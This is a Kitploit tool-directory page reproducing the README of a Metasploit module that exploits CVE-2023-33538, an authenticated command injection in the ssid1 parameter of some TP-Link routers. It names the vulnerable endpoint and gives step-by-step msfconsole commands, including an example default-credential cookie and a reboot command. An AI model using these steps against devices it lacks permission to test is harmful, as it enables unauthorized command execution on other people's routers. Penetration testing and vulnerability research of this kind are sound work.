Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-33538-msf — CVE-2023-33538 - TP-Link Command Injection Ruby module for Metasploit Framework | Kitploit
Tools/GitHubGitHub/mrowkoob/cve-2023-33538-msf
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubmrowkoob/cve-2023-33538-msf

CVE-2023-33538-msf

CVE-2023-33538 - TP-Link Command Injection Ruby module for Metasploit Framework

View Repository
1141 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-33538 – TP-Link TL-WR940N/841N Command Injection (Metasploit module)

This Metasploit auxiliary module targets an authenticated command injection vulnerability in TP-Link TL-WR940N V2/V4 and TL-WR841N V8/V10 routers.
The issue lies in the vulnerable ssid1 parameter used in WlanNetworkRpm.htm, which allows injection of arbitrary shell commands.

When successful, it allows the attacker to execute arbitrary commands on the device.

More information about the CVE:
https://nvd.nist.gov/vuln/detail/CVE-2023-33538


How to run this module?

  1. Copy the .rb file into your Metasploit modules folder, for example:
root@kitploit:~
cp tplink_ssid1_rce.rb/usr/share/metasploit-framework/modules/auxiliary/admin/http/
  1. Start Metasploit console:
root@kitploit:~
msfconsole
  1. Search and use the module:
root@kitploit:~
search tplink
use auxiliary/admin/http/tplink_ssid1_rce
  1. Set required options:
root@kitploit:~
set RHOSTS 192.168.0.1
set RPORT 80
set AUTHCOOKIE Basic%20YWRtaW46YWRtaW4%3D
set SESSIONPATH /ABCD1234/
set CMD reboot
run

The module does not perform authentication. You must manually extract the Authorization cookie and session prefix from a successful login to the router's web interface.


References

  • https://nvd.nist.gov/vuln/detail/CVE-2023-33538
  • https://web.archive.org/web/20230609111043/https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md

Disclaimer

This module is intended for educational purposes only.
Do not use this code against devices or infrastructure you do not own or have explicit permission to test.


Issues

If you find bugs, or have ideas for improvements – feel free to open an issue or leave a comment.

Download Tool